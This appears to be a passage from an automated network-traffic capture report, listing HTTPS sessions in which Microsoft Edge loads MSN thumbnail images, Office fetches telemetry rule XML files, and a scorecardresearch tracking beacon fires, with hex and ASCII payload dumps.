2024-11-19 23:19:24 UTC	16384	IN	Data Raw: 71 22 b8 eb 61 23 da 06 9f 81 f9 f9 fe b4 fa 77 59 15 81 c8 41 13 71 04 32 f9 19 36 f9 55 ee 6f d0 b6 e9 50 93 8a 0e d1 36 bc 11 cb 63 70 05 ab 9a ee b1 13 93 d4 59 30 2f a4 cc 8d ec 3e 76 f3 a7 67 13 20 18 49 89 d5 1b ec 41 31 70 77 eb e1 57 ac 64 56 56 82 34 df 7b 10 4e e0 df 7b 8e 57 a0 65 3b 1a 77 15 76 dd c7 ac 91 c6 3e b1 b8 3e 16 a9 63 4d 4c e6 20 30 50 77 dd 5a 41 f2 d8 8e 37 ae 6b 22 b7 6d 92 cd 73 72 38 fe d4 6d e7 04 82 2b aa c5 94 15 43 6d ee 07 2d be 56 a9 29 7e 0f 3e 32 75 b1 ba 81 a8 79 83 ee 12 45 cd 71 d9 f5 02 fc 47 c3 6d ef 04 78 57 43 93 36 bc b1 a8 ed 03 96 92 0e df 99 a1 99 55 95 81 d3 3e d9 3a 62 6d fc 36 eb b4 53 85 97 80 84 08 f9 08 32 b6 89 de 7a c7 02 2b 47 a9 85 9a 7d c0 83 71 b1 f1 e1 35 28 61 91 98 5e 45 d7 88 ff 00 69 bd 66 Data Ascii: q"a#wYAq26UoP6cpY0/>vg IA1pwWdVV4{N{We;wv>>cML 0PwZA7k"msr8m+Cm-V)~>2uyEqGmxWC6U>:bm6S2z+G}q5(a^Eif
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: bc 2b 7c 27 d4 80 ca c0 a3 0f 8a 2e 0e fe e8 ab 1b 03 80 01 46 f3 82 47 ed 4f 97 e7 4e 63 4c 24 8c 97 13 2d f1 0d f6 65 bc 7d 29 a7 f4 d7 de 99 32 a8 27 82 f2 e7 a5 bf 4a 9b 0e 00 36 43 8b 5a b5 a4 58 9f 88 10 7c be 55 3c 39 5d ca af dd dc 9d 22 07 2b 6d 3f 39 a6 f5 e4 76 20 65 57 93 b6 44 23 7e ba 7f 32 28 8b 06 40 40 5c 51 33 01 82 b1 22 d2 7d bc 2f 14 98 a3 77 09 a8 a9 1a 54 0f 8b 81 8b 6f cf 9c 9a 55 fb 5c 79 14 36 37 52 67 54 1f 6c 83 c0 1f 84 f8 1a 97 a0 a4 df 52 83 bc b7 b7 e7 ac 6f e5 4f 1e d4 95 03 1b 28 d2 a4 15 d4 8d aa 79 df af 15 aa 92 97 90 77 39 30 3f f7 03 28 70 2d 1f 0e 9d 8a cd ad 57 3a 8c aa 35 fb a6 c3 2a dc c4 6e dc 59 7c e1 87 33 45 57 17 72 10 00 9a d4 6e 80 6a 5f ff 00 a6 f0 47 9a c5 4b 1e 3c 3f 09 5c 9d b9 bc 40 62 92 79 06 1a 84 Data Ascii: +\|'.FGONcL$-e})2'J6CZX\|U<9]"+m?9v eWD#~2(@@\Q3"}/wToU\y67RgTlRoO(yw90?(p-W:5*nY\|3EWrnj_GK<?\@by
2024-11-19 23:19:24 UTC	7952	IN	Data Raw: c1 86 57 50 1a 54 9f ba 49 03 a1 b4 8a ea bf 19 8a 3d 1c 58 d0 a9 13 65 32 bb 11 ee 1a 49 99 91 bd 0b 75 5c f8 8a 11 61 2f 0b 77 1c d9 0d 83 8b 49 56 86 e3 36 34 5c f1 93 5a d7 e8 9c 7b 09 cd 94 2b fb 4e 52 22 7e 3d 23 e8 01 3f 3a 1b 93 20 d4 34 a2 09 bd c6 a3 f5 69 a7 f3 e1 67 50 71 1f 54 09 f8 77 e7 75 3e ef cc 50 8c a1 91 86 a0 41 81 20 ef b7 2a e5 bb 12 9f 9d 50 4d ed 56 23 70 e7 f9 45 41 58 15 53 f5 f1 a5 d1 8c 75 fd f5 26 61 4f a6 54 49 8b 5f 94 1a 86 47 d5 a9 85 2a c4 b1 d3 bf f3 ab 7a 47 11 fa d3 4c 5d 9b dd 8c 93 bc af e4 2a 28 23 11 f3 11 57 64 ff 00 4f cc 2f e5 7a 44 86 9d 23 60 7e a6 94 53 54 1d 40 5f 8d ba d1 35 c6 5d bd bb b0 02 78 02 39 7f 3e 1c 29 64 10 ab e3 27 9f f0 af ea 6b a3 c2 74 e2 66 d1 2d b6 d0 88 3a f3 37 f6 a8 f3 37 aa 93 6c 1c Data Ascii: WPTI=Xe2Iu\a/wIV64\Z{+NR"~=#?: 4igPqTwu>PA PMV#pEAXSu&aOTI_GzGL]*(#WdO/zD#`~ST@_5]x9>)d'ktf-:77l
2024-11-19 23:19:24 UTC	14945	IN	Data Raw: 00 24 1e a6 89 66 c5 91 41 d2 17 4b 03 a6 76 df ac cd 0d 00 85 92 d8 41 13 6d 1c 87 ec 50 b4 68 26 86 05 0a 9b 81 69 02 e6 23 ee f3 b5 5d 95 d1 40 fe da f0 17 2c 79 9e 0c 2a b0 65 92 72 27 b8 09 3a 4e e7 8f c0 29 7e e0 9b 29 71 bc fd ee 5e 54 ab 12 4c 9a 9d a3 1e 31 6e 44 ee 40 e2 4d 16 6c ac 33 ab 7b 63 de 4f b5 76 51 ce 26 26 84 60 00 3b 7b b9 70 ea 0f e9 4d e4 70 27 98 58 1e 24 12 6a 5a 78 3a 1c be 5c 64 00 76 95 20 0d f6 f7 47 d0 1a a3 23 31 33 bc 10 0d 81 89 99 24 45 5f 86 3d 30 5a c0 85 df a4 f2 aa 87 bf 1b 31 90 43 8f 70 be c3 8f 18 a2 7c 20 39 c3 3b 58 03 1c 3c bf ad aa ec 1d cb e1 61 36 33 b8 e4 6a 04 e8 70 c7 da 60 1d 40 02 ad e6 2d f2 aa b2 63 46 d4 55 f6 33 1c 7a fc f6 a5 0a 8b b1 d4 cc d3 f7 48 9b ef 22 87 64 d2 b9 10 70 d4 5c f8 1b 7e b4 4b Data Ascii: $fAKvAmPh&i#]@,y*er':N)~)q^TL1nD@Ml3{cOvQ&&`;{pMp'X$jZx:\dv G#13$E_=0Z1Cp\| 9;X<a63jp`@-cFU3zH"dp\~K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	62055	104.117.182.9	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:23 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=352222 Expires: Sun, 24 Nov 2024 01:09:45 GMT Date: Tue, 19 Nov 2024 23:19:23 GMT Connection: close
2024-11-19 23:19:23 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	62057	104.117.182.9	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:24 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=95605 Expires: Thu, 21 Nov 2024 01:52:48 GMT Date: Tue, 19 Nov 2024 23:19:23 GMT Connection: close
2024-11-19 23:19:24 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	62059	104.117.182.9	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:24 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=370437 Expires: Sun, 24 Nov 2024 06:13:20 GMT Date: Tue, 19 Nov 2024 23:19:23 GMT Connection: close
2024-11-19 23:19:24 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	62064	104.117.182.9	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:24 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:23 GMT X-Datacenter: westus X-ActivityId: 9e7c39fd-58db-4e2c-957a-f382c8e91634 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=180591 Expires: Fri, 22 Nov 2024 01:29:14 GMT Date: Tue, 19 Nov 2024 23:19:23 GMT Connection: close
2024-11-19 23:19:24 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	62056	104.117.182.9	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:24 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=78972 Expires: Wed, 20 Nov 2024 21:15:35 GMT Date: Tue, 19 Nov 2024 23:19:23 GMT Connection: close
2024-11-19 23:19:24 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	62052	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231924Z-r1d97b995774n5h6hC1TEBvf8400000007y000000000g54r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	62051	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:23 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231924Z-r1d97b99577d6qrbhC1TEBux5s000000080g00000000sryc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	62061	18.164.116.57	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	1012	OUT	GET /b2?rn=1732058361925&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=045B60278D93687D3610751B8C3B691E&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1E6343578bd7e9f5e585aef1732058362; XID=1E6343578bd7e9f5e585aef1732058362
2024-11-19 23:19:24 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Tue, 19 Nov 2024 23:19:24 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 97e44a27a616410da5792d77e9d25f52.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P6 X-Amz-Cf-Id: oL7WfrKT1tWs1gx214_QbLtOvTFd6NQ5oXd0JgNwgDHdhcDQdHJ_Kw==

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	62053	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231924Z-185f5d8b95cdh56ghC1NYCk1x4000000035000000000qxmc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
